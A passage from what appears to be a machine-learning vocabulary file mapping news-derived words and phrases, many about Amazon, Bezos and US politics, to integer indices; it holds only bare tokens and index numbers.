47191,\n  \"licensing agreement\": 47192,\n  \"rexhuppke\": 47193,\n  \"aspiring writer\": 47194,\n  \"sandpaper\": 47195,\n  \"cited alternative\": 47196,\n  \"graham gone\": 47197,\n  \"lee utah\": 47198,\n  \"claimed 100\": 47199,\n  \"jennifer cole\": 47200,\n  \"eva\": 47201,\n  \"better positioned\": 47202,\n  \"nonprofit designated\": 47203,\n  \"media madness\": 47204,\n  \"ecl news\": 47205,\n  \"encouraging outlook\": 47206,\n  \"ellen\": 47207,\n  \"just watch\": 47208,\n  \"stories workers\": 47209,\n  \"today financial\": 47210,\n  \"education child\": 47211,\n  \"bolsonaro rhetoric\": 47212,\n  \"consumer purchase\": 47213,\n  \"hardly need\": 47214,\n  \"thinner\": 47215,\n  \"cape shares\": 47216,\n  \"sears home\": 47217,\n  \"deal president\": 47218,\n  \"extreme programming\": 47219,\n  \"warns david\": 47220,\n  \"36m\": 47221,\n  \"newsweek chronicled\": 47222,\n  \"pits real\": 47223,\n  \"confidential report\": 47224,\n  \"credit promote\": 47225,\n  \"gasol sat\": 47226,\n  \"cuts bestowed\": 47227,\n  \"negotiated service\": 47228,\n  \"angeles local\": 47229,\n  \"california local\": 47230,\n  \"door emerson\": 47231,\n  \"fronts\": 47232,\n  \"forward pending\": 47233,\n  \"lessons leadership\": 47234,\n  \"germany great\": 47235,\n  \"release date\": 47236,\n  \"friend home\": 47237,\n  \"buffett avoided\": 47238,\n  \"roache head\": 47239,\n  \"ofthe facts\": 47240,\n  \"pecker chairman\": 47241,\n  \"tracing applications\": 47242,\n  \"built new\": 47243,\n  \"hare investment\": 47244,\n  \"nvda proved\": 47245,\n  \"kmart locations\": 47246,\n  \"targets big\": 47247,\n  \"unsparing prose\": 47248,\n  \"production brought\": 47249,\n  \"expensive iphones\": 47250,\n  \"h6a a4ee\": 47251,\n  \"episode cat\": 47252,\n  \"special partners\": 47253,\n  \"late 1800s\": 47254,\n  \"personally pushed\": 47255,\n  \"cohen payment\": 47256,\n  \"hummus\": 47257,\n  \"germany italy\": 47258,\n  \"drops transgender\": 47259,\n  \"prominence\": 47260,\n  \"schoolteacher\": 47261,\n  \"sentencing guidelines\": 47262,\n  \"relationship involving\": 47263,\n  \"nasty away\": 47264,\n  \"burden bezos\": 47265,\n  \"started real\": 47266,\n  \"bolster house\": 47267,\n  \"riotous fun\": 47268,\n  \"abramson statement\": 47269,\n  \"newfound adversary\": 47270,\n  \"day marked\": 47271,\n  \"desperately opposed\": 47272,\n  \"companies nonprofits\": 47273,\n  \"clearly striking\": 47274,\n  \"says ceo\": 47275,\n  \"basic question\": 47276,\n  \"chain operator\": 47277,\n  \"night highlights\": 47278,\n  \"offers major\": 47279,\n  \"million internet\": 47280,\n  \"risking trump\": 47281,\n  \"beard restaurant\": 47282,\n  \"funds academics\": 47283,\n  \"innovative market\": 47284,\n  \"presents\": 47285,\n  \"amazon tomorrow\": 47286,\n  \"rapper cardi\": 47287,\n  \"completely backwards\": 47288,\n  \"comma enthusiasts\": 47289,\n  \"ronald\": 47290,\n  \"really depend\": 47291,\n  \"world apple\": 47292,\n  \"thousand orders\": 47293,\n  \"book store\": 47294,\n  \"general maura\": 47295,\n  \"cnl_custom_article_footer null\": 47296,\n  \"alli oppenheim\": 47297,\n  \"woodbridge girl\": 47298,\n  \"meraki shoppers\": 47299,\n  \"benedetto\": 47300,\n  \"dsa statement\": 47301,\n  \"foolproof\": 47302,\n  \"amazon performance\": 47303,\n  \"tower book\": 47304,\n  \"facebook purchase\": 47305,\n  \"space flight\": 47306,\n  \"britons\": 47307,\n  \"biggest hedge\": 47308,\n  \"j8i s0\": 47309,\n  \"territory having\": 47310,\n  \"anticompetitive effect\": 47311,\n  \"depends\": 47312,\n  \"investors want\": 47313,\n  \"presenting strong\": 47314,\n  \"dream amazon\": 47315,\n  \"782\": 47316,\n  \"celebrities\": 47317,\n  \"cantankerous new\": 47318,\n  \"piece published\": 47319,\n  \"departed recent\": 47320,\n  \"magana jose\": 47321,\n  \"fetus aborted\": 47322,\n  \"magically\": 47323,\n  \"equilibrium\": 47324,\n  \"construction spending\": 47325,\n  \"bookseller\": 47326,\n  \"reviewed goodlatte\": 47327,\n  \"investigation headed\": 47328,\n  \"scrutiny visitors\": 47329,\n  \"blue tirade\": 47330,\n  \"skip campbell\": 47331,\n  \"stay informed\": 47332,\n  \"vivid\": 47333,\n  \"craziest\": 47334,\n  \"fair wage\": 47335,\n  \"relationship unique\": 47336,\n  \"key words\": 47337,\n  \"onex corp\": 47338,\n  \"community safeguards\": 47339,\n  \"fail safe\": 47340,\n  \"think nyc\": 47341,\n  \"clandestine\": 47342,\n  \"domestic pressure\": 47343,\n  \"invaluable forest\": 47344,\n  \"pre 2000\": 47345,\n  \"doctors alike\": 47346,\n  \"tomi\": 47347,\n  \"tillman act\": 47348,\n  \"investigator james\": 47349,\n  \"cameroonian\": 47350,\n  \"adviser doesn\": 47351,\n  \"campaign showed\": 47352,\n  \"mounting opposition\": 47353,\n  \"flippancies\": 47354,\n  \"tenor\": 47355,\n  \"excellent company\": 47356,\n  \"stanley estimate\": 47357,\n  \"region tu\": 47358,\n  \"latest earnings\": 47359,\n  \"populairste rentevaste\": 47360,\n  \"conservative group\": 47361,\n  \"council referring\": 47362,\n  \"items discovered\": 47363,\n  \"twitter rtdschapiro\": 47364,\n  \"procurement laws\": 47365,\n  \"answer blake\": 47366,\n  \"greater funding\": 47367,\n  \"sehgal\": 47368,\n  \"estimated ebitda\": 47369,\n  \"group praised\": 47370,\n  \"ultimately hurt\": 47371,\n  \"ami demands\": 47372,\n  \"dwight garner\": 47373,\n  \"soy china\": 47374,\n  \"kubrick\": 47375,\n  \"site ambulances\": 47376,\n  \"lago resort\": 47377,\n  \"rainforest deforestation\": 47378,\n  \"40mm drivers\": 47379,\n  \"retain half\": 47380,\n  \"mcgrane\": 47381,\n  \"lightening\": 47382,\n  \"firms employees\": 47383,\n  \"photos israel\": 47384,\n  \"startlingly novel\": 47385,\n  \"scientists reported\": 47386,\n  \"wonka\": 47387,\n  \"stake meiji\": 47388,\n  \"making fake\": 47389,\n  \"additional markets\": 47390,\n  \"necessarily sexual\": 47391,\n  \"race children\": 47392,\n  \"pennsylvania warehouse\": 47393,\n  \"nyc booboonyc\": 47394,\n  \"icahn called\": 47395,\n  \"oil remains\": 47396,\n  \"sentiment data\": 47397,\n  \"curious mean\": 47398,\n  \"socioambiental brazilian\": 47399,\n  \"allies\": 47400,\n  \"credential\": 47401,\n  \"multiple growth\": 47402,\n  \"industry spends\": 47403,\n  \"country largest\": 47404,\n  \"cyber threats\": 47405,\n  \"amazon suggested\": 47406,\n  \"morning briefing\": 47407,\n  \"highly reliable\": 47408,\n  \"gta\": 47409,\n  \"worst foreclosure\": 47410,\n  \"presented legislation\": 47411,\n  \"cornell law\": 47412,\n  \"litigation task\": 47413,\n  \"house democrats\": 47414,\n  \"day sanders\": 47415,\n  \"far far\": 47416,\n  \"alleged trump\": 47417,\n  \"twitter page\": 47418,\n  \"rat glue\": 47419,\n  \"years nyu\": 47420,\n  \"including facebook\": 47421,\n  \"officer pentagon\": 47422,\n  \"sharrett bloomberg\": 47423,\n  \"outfit works\": 47424,\n  \"meltzer paul\": 47425,\n  \"despite concerns\": 47426,\n  \"encouraging republican\": 47427,\n  \"daniels hush\": 47428,\n  \"washington pizza\": 47429,\n  \"physical provide\": 47430,\n  \"revenge porn\": 47431,\n  \"hijacked\": 47432,\n  \"virgina values\": 47433,\n  \"trump saudi\": 47434,\n  \"daily overtime\": 47435,\n  \"government official\": 47436,\n  \"fsg following\": 47437,\n  \"small businesses\": 47438,\n  \"bidding war\": 47439,\n  \"inexplicable action\": 47440,\n  \"cause scandal\": 47441,\n  \"wife kathleen\": 47442,\n  \"xlsxh1xyny\": 47443,\n  \"post apocalyptic\": 47444,\n  \"major service\": 47445,\n  \"apology tour\": 47446,\n  \"dreidel\": 47447,\n  \"falls\": 47448,\n  \"newspaper msnbc\": 47449,\n  \"called facebook\": 47450,\n  \"australia cardinal\": 47451,\n  \"trevino brings\": 47452,\n  \"sandie\": 47453,\n  \"davies\": 47454,\n  \"usa futures\": 47455,\n  \"inarguable\": 47456,\n  \"sorry\": 47457,\n  \"business international\": 47458,\n  \"bolsonaro aka\": 47459,\n  \"services authority\": 47460,\n  \"deduct stock\": 47461,\n  \"documentary gripping\": 47462,\n  \"party soccer\": 47463,\n  \"vietnam\": 47464,\n  \"washington plus\": 47465,\n  \"increased prices\": 47466,\n  \"does point\": 47467,\n  \"raise drop\": 47468,\n  \"avenatti legitimate\": 47469,\n  \"depasquale\": 47470,\n  \"wolf new\": 47471,\n  \"trump took\": 47472,\n  \"average according\": 47473,\n  \"maga tcot\": 47474,\n  \"marketwatch andsign\": 47475,\n  \"district voters\": 47476,\n  \"dealt\": 47477,\n  \"did sorry\": 47478,\n  \"really high\": 47479,\n  \"michigan democrat\": 47480,\n  \"bezos welfare\": 47481,\n  \"names albert\": 47482,\n  \"tcja means\": 47483,\n  \"curmudgeons\": 47484,\n  \"nlindstrom tribweb\": 47485,\n  \"dwyane\": 47486,\n  \"a4ee var\": 47487,\n  \"fear consensually\": 47488,\n  \"flipboard\": 47489,\n  \"really cold\": 47490,\n  \"jacobs looked\": 47491,\n  \"salazar democratic\": 47492,\n  \"bust size\": 47493,\n  \"pakistani civilians\": 47494,\n  \"year prospects\": 47495,\n  \"niles explained\": 47496,\n  \"shirley\": 47497,\n  \"trump russia\": 47498,\n  \"potential backlash\": 47499,\n  \"partially blame\": 47500,\n  \"apprenticeship program\": 47501,\n  \"vox verdict\": 47502,\n  \"attorney representing\": 47503,\n  \"loser giving\": 47504,\n  \"series saw\": 47505,\n  \"worth amazon\": 47506,\n  \"school educated\": 47507,\n  \"british motoring\": 47508,\n  \"corporations evil\": 47509,\n  \"agenda tech\": 47510,\n  \"republic president\": 47511,\n  \"defense measure\": 47512,\n  \"atlantic county\": 47513,\n  \"inside small\": 47514,\n  \"imagine rapid\": 47515,\n  \"elite schools\": 47516,\n  \"mistreated\": 47517,\n  \"inwood\": 47518,\n  \"party trump\": 47519,\n  \"reportedly ending\": 47520,\n  \"5etfw 7ctwcamp\": 47521,\n  \"exclusive licensing\": 47522,\n  \"majestic river\": 47523,\n  \"journal obtained\": 47524,\n  \"washington biggest\": 47525,\n  \"informed\": 47526,\n  \"technology team\": 47527,\n  \"house hit\": 47528,\n  \"halpern\": 47529,\n  \"carolina shelters\": 47530,\n  \"img_reusableflag false\": 47531,\n  \"subsidies hate\": 47532,\n  \"caller yes\": 47533,\n  \"stock valuation\": 47534,\n  \"extra babysitting\": 47535,\n  \"city data\": 47536,\n  \"life voted\": 47537,\n  \"details related\": 47538,\n  \"131bn\": 47539,\n  \"home preservation\": 47540,\n  \"tornadoes npr\": 47541,\n  \"bid daniel\": 47542,\n  \"bafflement\": 47543,\n  \"doesn mean\": 47544,\n  \"articles written\": 47545,\n  \"sensational\": 47546,\n  \"published click\": 47547,\n  \"coverage nbc\": 47548,\n  \"water pumps\": 47549,\n  \"lego\": 47550,\n  \"twitter stand\": 47551,\n  \"dr eduardo\": 47552,\n  \"lgbt people\": 47553,\n  \"outsized growth\": 47554,\n  \"financial performance\": 47555,\n  \"group program\": 47556,\n  \"finance home\": 47557,\n  \"doug straton\": 47558,\n  \"midwinter break\": 47559,\n  \"bullets\": 47560,\n  \"friend farrow\": 47561,\n  \"sonorous host\": 47562,\n  \"selling lines\": 47563,\n  \"important reader\": 47564,\n  \"amazon presence\": 47565,\n  \"1918\": 47566,\n  \"google inched\": 47567,\n  \"stop revenge\": 47568,\n  \"business microsoft\": 47569,\n  \"taking hard\": 47570,\n  \"national golf\": 47571,\n  \"comfortable life\": 47572,\n  \"alexander hamilton\": 47573,\n  \"intensify political\": 47574,\n  \"longtime tipster\": 47575,\n  \"2lqswbh\": 47576,\n  \"ebay ebay\": 47577,\n  \"fare evasion\": 47578,\n  \"stable genius\": 47579,\n  \"attracting potentially\": 47580,\n  \"provides similar\": 47581,\n  \"interview bolsonaro\": 47582,\n  \"happy snowed\": 47583,\n  \"beauty fellow\": 47584,\n  \"poff student\": 47585,\n  \"academic\": 47586,\n  \"a8 m2x\": 47587,\n  \"negotiations collapse\": 47588,\n  \"truest sense\": 47589,\n  \"kaepernick nike\": 47590,\n  \"traditional banks\": 47591,\n  \"year elected\": 47592,\n  \"earn commission\": 47593,\n  \"ardent followers\": 47594,\n  \"riordan sued\": 47595,\n  \"firing line\": 47596,\n  \"answers danbury\": 47597,\n  \"000 tax\": 47598,\n  \"plan sparked\": 47599,\n  \"service operations\": 47600,\n  \"utilise new\": 47601,\n  \"incentivize corporations\": 47602,\n  \"invincibility\": 47603,\n  \"heirs satire\": 47604,\n  \"fisher manuel\": 47605,\n  \"old founder\": 47606,\n  \"completely unacceptable\": 47607,\n  \"amazon cancels\": 47608,\n  \"cohen guilty\": 47609,\n  \"remark relating\": 47610,\n  \"message scandal\": 47611,\n  \"coverage universe\": 47612,\n  \"weekly jobless\": 47613,\n  \"barrel gold\": 47614,\n  \"vast forests\": 47615,\n  \"published accounts\": 47616,\n  \"story small\": 47617,\n  \"small web\": 47618,\n  \"lumber\": 47619,\n  \"comments capitol\": 47620,\n  \"showing correspondence\": 47621,\n  \"companies pump\": 47622,\n  \"omnichannel\": 47623,\n  \"forever stampsby\": 47624,\n  \"elected brazilian\": 47625,\n  \"neglected bone\": 47626,\n  \"meditations\": 47627,\n  \"won play\": 47628,\n  \"private partnerships\": 47629,\n  \"a1 a4ee\": 47630,\n  \"712 300\": 47631,\n  \"grader\": 47632,\n  \"reproducible\": 47633,\n  \"told thecity\": 47634,\n  \"retirement feigenholtz\": 47635,\n  \"knocked amazon\": 47636,\n  \"item sold\": 47637,\n  \"sticker conservative\": 47638,\n  \"reportedly denied\": 47639,\n  \"industry spenders\": 47640,\n  \"push forward\": 47641,\n  \"reach segments\": 47642,\n  \"befell jeff\": 47643,\n  \"contract reportedly\": 47644,\n  \"reported advertisers\": 47645,\n  \"gas accounts\": 47646,\n  \"market\": 47647,\n  \"source communitybut\": 47648,\n  \"transition team\": 47649,\n  \"urges investors\": 47650,\n  \"available dan\": 47651,\n  \"avoid bias\": 47652,\n  \"bleeding people\": 47653,\n  \"romance sex\": 47654,\n  \"darker skinned\": 47655,\n  \"tahir\": 47656,\n  \"president used\": 47657,\n  \"teachings\": 47658,\n  \"lending 500\": 47659,\n  \"drama ivanka\": 47660,\n  \"sabres\": 47661,\n  \"goneril\": 47662,\n  \"campaign aid\": 47663,\n  \"fund invested\": 47664,\n  \"buyer beware\": 47665,\n  \"trump tags\": 47666,\n  \"putin think\": 47667,\n  \"trade conflicts\": 47668,\n  \"bejing\": 47669,\n  \"wireless emergency\": 47670,\n  \"title match\": 47671,\n  \"startling story\": 47672,\n  \"state school\": 47673,\n  \"banks dropped\": 47674,\n  \"regarding russia\": 47675,\n  \"trump argue\": 47676,\n  \"blair anderson\": 47677,\n  \"way kids\": 47678,\n  \"inthis\": 47679,\n  \"level criticism\": 47680,\n  \"planetary union\": 47681,\n  \"google referred\": 47682,\n  \"newsletter major\": 47683,\n  \"ecommerce news\": 47684,\n  \"broader tax\": 47685,\n  \"schedules training\": 47686,\n  \"trump complaining\": 47687,\n  \"book form\": 47688,\n  \"rebuttals\": 47689,\n  \"mcclain\": 47690,\n  \"videotape joe\": 47691,\n  \"jacob frenkel\": 47692,\n  \"liar\": 47693,\n  \"lebeau\": 47694,\n  \"surging oil\": 47695,\n  \"pecker wants\": 47696,\n  \"written just\": 47697,\n  \"packages trump\": 47698,\n  \"feel healthier\": 47699,\n  \"moats roku\": 47700,\n  \"politico dana\": 47701,\n  \"president hate\": 47702,\n  \"1041310008623943680\": 47703,\n  \"menard\": 47704,\n  \"controversies spent\": 47705,\n  \"long ago\": 47706,\n  \"donald john\": 47707,\n  \"publisher axel\": 47708,\n  \"soul\": 47709,\n  \"washington postto\": 47710,\n  \"exotic locations\": 47711,\n  \"firm forrester\": 47712,\n  \"network tv\": 47713,\n  \"salary analysis\": 47714,\n  \"supply referenced\": 47715,\n  \"initial investment\": 47716,\n  \"susana\": 47717,\n  \"distinctly trumpian\": 47718,\n  \"prada novel\": 47719,\n  \"approximately 300\": 47720,\n  \"reach valuation\": 47721,\n  \"f8\": 47722,\n  \"dried\": 47723,\n  \"trusted amazon\": 47724,\n  \"walmart builds\": 47725,\n  \"vta conference\": 47726,\n  \"photos weren\": 47727,\n  \"francisco reuters\": 47728,\n  \"used vine\": 47729,\n  \"advocates repeal\": 47730,\n  \"mdg\": 47731,\n  \"purchases updated\": 47732,\n  \"perverse impact\": 47733,\n  \"working think\": 47734,\n  \"billion president\": 47735,\n  \"hits comey\": 47736,\n  \"disclosure did\": 47737,\n  \"lacked public\": 47738,\n  \"sanders argument\": 47739,\n  \"million according\": 47740,\n  \"clampdown\": 47741,\n  \"planned office\": 47742,\n  \"area spicer\": 47743,\n  \"compute cloud\": 47744,\n  \"rate post\": 47745,\n  \"enjoy bipartisan\": 47746,\n  \"partisan identity\": 47747,\n  \"truth accused\": 47748,\n  \"walmart role\": 47749,\n  \"goods directly\": 47750,\n  \"icons innovators\": 47751,\n  \"long second\": 47752,\n  \"braindead answer\": 47753,\n  \"pre empted\": 47754,\n  \"thing isn\": 47755,\n  \"important corrective\": 47756,\n  \"regulation including\": 47757,\n  \"absentee\": 47758,\n  \"block dan\": 47759,\n  \"intensely challenging\": 47760,\n  \"page memos\": 47761,\n  \"pressing mayors\": 47762,\n  \"marla maples\": 47763,\n  \"getty tycoon\": 47764,\n  \"eduardo bolsonaro\": 47765,\n  \"continuing attempts\": 47766,\n  \"larger rockets\": 47767,\n  \"grossly exaggerated\": 47768,\n  \"rewards lotteries\": 47769,\n  \"gop response\": 47770,\n  \"bezos hopefully\": 47771,\n  \"vice chair\": 47772,\n  \"eating flatbread\": 47773,\n  \"bald cap\": 47774,\n  \"care schweitzer\": 47775,\n  \"chief makan\": 47776,\n  \"charged trump\": 47777,\n  \"matter motive\": 47778,\n  \"secretary defense\": 47779,\n  \"emarketer advised\": 47780,\n  \"maria\": 47781,\n  \"tweets additionally\": 47782,\n  \"colossal business\": 47783,\n  \"merger mania\": 47784,\n  \"cy\": 47785,\n  \"matthew cogdeill\": 47786,\n  \"training view\": 47787,\n  \"sloppy misspelled\": 47788,\n  \"technology intelligence\": 47789,\n  \"nuclear threats\": 47790,\n  \"chat\": 47791,\n  \"written stories\": 47792,\n  \"feedtype rss\": 47793,\n  \"tower amazon\": 47794,\n  \"copyrigh\": 47795,\n  \"grocery items\": 47796,\n  \"authorities don\": 47797,\n  \"inhabit\": 47798,\n  \"material source\": 47799,\n  \"shares representing\": 47800,\n  \"plant market\": 47801,\n  \"playground\": 47802,\n  \"representatives reportedly\": 47803,\n  \"urge racine\": 47804,\n  \"estate\": 47805,\n  \"payment volume\": 47806,\n  \"claim accelerated\": 47807,\n  \"2019 advertisement\": 47808,\n  \"quarterly earnings\": 47809,\n  \"cover trump\": 47810,\n  \"american monument\": 47811,\n  \"raised new\": 47812,\n  \"arkin play\": 47813,\n  \"metagrobolize\": 47814,\n  \"swamp ishness\": 47815,\n  \"assets announcing\": 47816,\n  \"leaving microsoft\": 47817,\n  \"apple news\": 47818,\n  \"feeder\": 47819,\n  \"videohash\": 47820,\n  \"southeastern brazil\": 47821,\n  \"inspectors\": 47822,\n  \"federal programs\": 47823,\n  \"rep gaetz\": 47824,\n  \"statement reacting\": 47825,\n  \"carter\": 47826,\n  \"demonizing\": 47827,\n  \"jabong head\": 47828,\n  \"dynamic way\": 47829,\n  \"wibbitz\": 47830,\n  \"chief concern\": 47831,\n  \"ultimately lead\": 47832,\n  \"prose\": 47833,\n  \"smerconish wondered\": 47834,\n  \"downey\": 47835,\n  \"statement blaming\": 47836,\n  \"poached\": 47837,\n  \"pratfalls\": 47838,\n  \"catalog service\": 47839,\n  \"dakota 504\": 47840,\n  \"ag house\": 47841,\n  \"primarily social\": 47842,\n  \"safety administration\": 47843,\n  \"accolade ceo\": 47844,\n  \"150 conversely\": 47845,\n  \"hats shows\": 47846,\n  \"poodle small\": 47847,\n  \"overseas greer\": 47848,\n  \"delay unanimously\": 47849,\n  \"dislikes nbd\": 47850,\n  \"new program\": 47851,\n  \"jim hackett\": 47852,\n  \"word mastercard\": 47853,\n  \"migrants headed\": 47854,\n  \"delivery start\": 47855,\n  \"cidoni\": 47856,\n  \"million paul\": 47857,\n  \"stacey shick\": 47858,\n  \"musk\": 47859,\n  \"attacker\": 47860,\n  \"stunning\": 47861,\n  \"largest sponsor\": 47862,\n  \"taxpayers money\": 47863,\n  \"star pleads\": 47864,\n  \"forum\": 47865,\n  \"turned\": 47866,\n  \"downsizing plans\": 47867,\n  \"statutory tax\": 47868,\n  \"vermont senator\": 47869,\n  \"sale trump\": 47870,\n  \"pendleton spencer\": 47871,\n  \"just pick\": 47872,\n  \"dj khaled\": 47873,\n  \"shanghai stock\": 47874,\n  \"bezos sarcastically\": 47875,\n  \"\\u0430is\": 47876,\n  \"trump knew\": 47877,\n  \"cheap things\": 47878,\n  \"history suggested\": 47879,\n  \"devices scary\": 47880,\n  \"reported steamy\": 47881,\n  \"city dot\": 47882,\n  \"does fbi\": 47883,\n  \"emails statements\": 47884,\n  \"mom alcoholics\": 47885,\n  \"retail empire\": 47886,\n  \"ohio colin\": 47887,\n  \"voting strength\": 47888,\n  \"mile grocery\": 47889,\n  \"statements promoted\": 47890,\n  \"partners bmw\": 47891,\n  \"sectors including\": 47892,\n  \"1539546 amazon\": 47893,\n  \"tostring d1a\": 47894,\n  \"good headlamp\": 47895,\n  \"brasilia\": 47896,\n  \"20great\": 47897,\n  \"grocery retailers\": 47898,\n  \"grodenchik oakland\": 47899,\n  \"valley control\": 47900,\n  \"commission responsible\": 47901,\n  \"unfocused\": 47902,\n  \"acted prematurely\": 47903,\n  \"peterson shawn\": 47904,\n  \"badass videocmsurl\": 47905,\n  \"democratic victories\": 47906,\n  \"instead attended\": 47907,\n  \"pugh alexander\": 47908,\n  \"fwd\": 47909,\n  \"nives\": 47910,\n  \"memory users\": 47911,\n  \"wander\": 47912,\n  \"cleveland marshall\": 47913,\n  \"retook\": 47914,\n  \"laundered\": 47915,\n  \"fedex possible\": 47916,\n  \"feminist\": 47917,\n  \"company report\": 47918,\n  \"year retail\": 47919,\n  \"want oil\": 47920,\n  \"selected nonfiction\": 47921,\n  \"leave cnn\": 47922,\n  \"germain\": 47923,\n  \"mounting pressure\": 47924,\n  \"trends tennis\": 47925,\n  \"location data\": 47926,\n  \"mark zuckerbook\": 47927,\n  \"careers new\": 47928,\n  \"dioxide\": 47929,\n  \"delivering product\": 47930,\n  \"underbelly\": 47931,\n  \"savagely\": 47932,\n  \"getting uglier\": 47933,\n  \"officials told\": 47934,\n  \"eruption\": 47935,\n  \"foxa\": 47936,\n  \"spotify\": 47937,\n  \"considerably today\": 47938,\n  \"nation collective\": 47939,\n  \"corruption dams\": 47940,\n  \"aboutbezos\": 47941,\n  \"whipping boy\": 47942,\n  \"powerful enemies\": 47943,\n  \"weekly digest\": 47944,\n  \"mobilepinnedview null\": 47945,\n  \"heightened tariffs\": 47946,\n  \"soho earlier\": 47947,\n  \"vaccine live\": 47948,\n  \"online taxes\": 47949,\n  \"gmbunionamazon gmbactivistamazon\": 47950,\n  \"specific emphasis\": 47951,\n  \"divide regarding\": 47952,\n  \"recent talk\": 47953,\n  \"kylie\": 47954,\n  \"newspaper text\": 47955,\n  \"nixon faso\": 47956,\n  \"used regulatory\": 47957,\n  \"lot warmer\": 47958,\n  \"federal governments\": 47959,\n  \"holiday workers\": 47960,\n  \"hershey shares\": 47961,\n  \"payments bezos\": 47962,\n  \"foreign deposits\": 47963,\n  \"new hunters\": 47964,\n  \"business charlie\": 47965,\n  \"remembrance survivors\": 47966,\n  \"allegations inaccurate\": 47967,\n  \"price strictly\": 47968,\n  \"mnuchin treasury\": 47969,\n  \"amazon rapid\": 47970,\n  \"adhere\": 47971,\n  \"son 14pm\": 47972,\n  \"enc\": 47973,\n  \"100 year\": 47974,\n  \"prime embedded\": 47975,\n  \"recent corporate\": 47976,\n  \"adaptation opened\": 47977,\n  \"week reuters\": 47978,\n  \"wounded don\": 47979,\n  \"maggienyt ted\": 47980,\n  \"products exceeded\": 47981,\n  \"undercutting francis\": 47982,\n  \"willa frej\": 47983,\n  \"toy\": 47984,\n  \"photo fueled\": 47985,\n  \"civic commitment\": 47986,\n  \"tillis\": 47987,\n  \"wasteful exercise\": 47988,\n  \"reuters uk\": 47989,\n  \"provide timely\": 47990,\n  \"slightest\": 47991,\n  \"living increases\": 47992,\n  \"alert johnson\": 47993,\n  \"forms new\": 47994,\n  \"cerrado biomes\": 47995,\n  \"removing vaxxed\": 47996,\n  \"giants apple\": 47997,\n  \"key issues\": 47998,\n  \"fees 2018\": 47999,\n  \"somebody\": 48000,\n  \"feared\": 48001,\n  \"films kim\": 48002,\n  \"fix power\": 48003,\n  \"frontrunner 2018\": 48004,\n  \"homeless services\": 48005,\n  \"incumbent governor\": 48006,\n  \"pondering privacy\": 48007,\n  \"wagealso\": 48008,\n  \"billion data\": 48009,\n  \"amazon called\": 48010,\n  \"decades bernie\": 48011,\n  \"cook dear\": 48012,\n  \"lime\": 48013,\n  \"format convenience\": 48014,\n  \"surging traders\": 48015,\n  \"trumps 2018\": 48016,\n  \"nodes\": 48017,\n  \"news anchor\": 48018,\n  \"prayer\": 48019,\n  \"times just\": 48020,\n  \"notification\": 48021,\n  \"investments breaks\": 48022,\n  \"ignored established\": 48023,\n  \"tells\": 48024,\n  \"wolff book\": 48025,\n  \"traffickers leaving\": 48026,\n  \"reduce delivery\": 48027,\n  \"faking hurricane\": 48028,\n  \"menendez represents\": 48029,\n  \"shipping costs\": 48030,\n  \"cannon police\": 48031,\n  \"different shops\": 48032,\n  \"term game\": 48033,\n  \"retest\": 48034,\n  \"insider previously\": 48035,\n  \"hollywood opposition\": 48036,\n  \"giant search\": 48037,\n  \"earnings easily\": 48038,\n  \"compares condemnation\": 48039,\n  \"swirl\": 48040,\n  \"gopalan\": 48041,\n  \"products manufacturing\": 48042,\n  \"data initial\": 48043,\n  \"\\u0142100bn\": 48044,\n  \"recession according\": 48045,\n  \"today pres\": 48046,\n  \"hq2 hq3\": 48047,\n  \"amazon lands\": 48048,\n  \"moynihan correspondent\": 48049,\n  \"impair\": 48050,\n  \"lewd life\": 48051,\n  \"gently waving\": 48052,\n  \"halliburton lesar\": 48053,\n  \"fact predict\": 48054,\n  \"america rose\": 48055,\n  \"slash\": 48056,\n  \"convention ultimately\": 48057,\n  \"vibrant global\": 48058,\n  \"rates amazon\": 48059,\n  \"suggested numerous\": 48060,\n  \"media ignore\": 48061,\n  \"stock retreated\": 48062,\n  \"evening weather\": 48063,\n  \"melodies\": 48064,\n  \"engleman\": 48065,\n  \"mind following\": 48066,\n  \"recently introducing\": 48067,\n  \"department taking\": 48068,\n  \"actions constitute\": 48069,\n  \"photo speaking\": 48070,\n  \"focused asked\": 48071,\n  \"times shane\": 48072,\n  \"break bread\": 48073,\n  \"cgi\": 48074,\n  \"open jobs\": 48075,\n  \"sam shares\": 48076,\n  \"pushed opec\": 48077,\n  \"loudon county\": 48078,\n  \"country border\": 48079,\n  \"profiteered\": 48080,\n  \"increased property\": 48081,\n  \"package industry\": 48082,\n  \"1005et copyright\": 48083,\n  \"twitter prohibition\": 48084,\n  \"deals post\": 48085,\n  \"testify\": 48086,\n  \"record global\": 48087,\n  \"mont blanc\": 48088,\n  \"sophia bush\": 48089,\n  \"identifies commerce\": 48090,\n  \"tweet accusing\": 48091,\n  \"700 new\": 48092,\n  \"welp\": 48093,\n  \"monetary fund\": 48094,\n  \"mall amazon\": 48095,\n  \"consider reddit\": 48096,\n  \"read austrian\": 48097,\n  \"drone ascending\": 48098,\n  \"update 8am\": 48099,\n  \"davis wright\": 48100,\n  \"wildfires air\": 48101,\n  \"smithsonian anne\": 48102,\n  \"claiming lunch\": 48103,\n  \"ozens\": 48104,\n  \"stronger especially\": 48105,\n  \"echo devices\": 48106,\n  \"make recommendations\": 48107,\n  \"products facing\": 48108,\n  \"rules\": 48109,\n  \"defense purpose\": 48110,\n  \"unveiled task\": 48111,\n  \"lower manhattan\": 48112,\n  \"ref_url\": 48113,\n  \"community development\": 48114,\n  \"pro abortion\": 48115,\n  \"provide space\": 48116,\n  \"japan lebanon\": 48117,\n  \"yield bonds\": 48118,\n  \"worst wildfire\": 48119,\n  \"narrow view\": 48120,\n  \"influence capitol\": 48121,\n  \"protesters outside\": 48122,\n  \"trump meetings\": 48123,\n  \"cyberattacks canada\": 48124,\n  \"raise cash\": 48125,\n  \"questioning amazon\": 48126,\n  \"amazon visit\": 48127,\n  \"ptsd president\": 48128,\n  \"carryforward\": 48129,\n  \"increases 500\": 48130,\n  \"quotes tech\": 48131,\n  \"dining shopping\": 48132,\n  \"biden offers\": 48133,\n  \"maps\": 48134,\n  \"amiss\": 48135,\n  \"cnn coverage\": 48136,\n  \"tech home\": 48137,\n  \"bezos usually\": 48138,\n  \"cash law\": 48139,\n  \"va places\": 48140,\n  \"dakota ruling\": 48141,\n  \"commerce shipments\": 48142,\n  \"dinam\\u00e3 tux\\u00e1\": 48143,\n  \"2018 rhythm\": 48144,\n  \"union rules\": 48145,\n  \"starring jimmy\": 48146,\n  \"hybrid animal\": 48147,\n  \"dannemora producers\": 48148,\n  \"noted legal\": 48149,\n  \"result earlier\": 48150,\n  \"mitigate\": 48151,\n  \"small flat\": 48152,\n  \"inherent contradictions\": 48153,\n  \"houston\": 48154,\n  \"wood levi\": 48155,\n  \"music cbs\": 48156,\n  \"backlash senator\": 48157,\n  